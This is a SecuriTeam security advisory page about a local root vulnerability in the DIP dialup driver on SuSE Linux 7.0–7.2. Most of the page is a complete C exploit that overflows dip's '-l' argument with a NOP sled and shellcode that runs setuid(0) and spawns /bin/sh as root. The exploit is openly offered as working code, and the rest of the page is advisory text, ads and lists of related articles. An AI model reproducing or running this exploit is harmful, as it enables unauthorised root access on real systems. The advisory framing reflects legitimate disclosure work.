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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	DIP Exploit Code Still Works After 3 Years 23 Jul. 2001    Summary DIP (Dialup IP Protocol Driver) handles the connections needed for dialup IP links, like SLIP or CSLIP. It can handle both incoming and outgoing connections, using password security for incoming connections. A security vulnerability has been discovered 3 years ago that is still present in SuSE Linux version 7.2 (the latest is 8.0). The vulnerability yields root privileges.   Credit: The information has been provided by sebi hegi and pr10n. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems: SuSE Linux 7.0 SuSE Linux 7.1 SuSE Linux 7.2 DIP version 3.3.7p-uri DIP version 3.3.7o Exploit: /* Linux x86 dip 3.3.7p exploit by pr10n */ #include <stdio.h> #define NOP 0x90 /*thanks to hack.co.za*/ char shellcode[] =           "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"           "\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"           "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"           "\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; unsigned long get_sp(void){ __asm__("movl %esp, %eax");} main(int argc, char *argv[]){ char buf[136]; int i; int offset=0,*ptr; long ret; if(argc!=2){ printf("usage: %s offset\n",argv[0]); exit(0);} offset=atoi(argv[1]); ret=(get_sp()-offset); for(i=1;i<136;i+=4){ *(long *)&buf[i]=ret;} printf("\nusing: 0x%x\n\n",ret); for(i=0;i<(sizeof(buf)-strlen(shellcode)-40);i++) buf[i]=NOP; memcpy(buf+i,shellcode,strlen(shellcode)); execl("/usr/sbin/dip","dip","-k","-l",buf,(char *)0); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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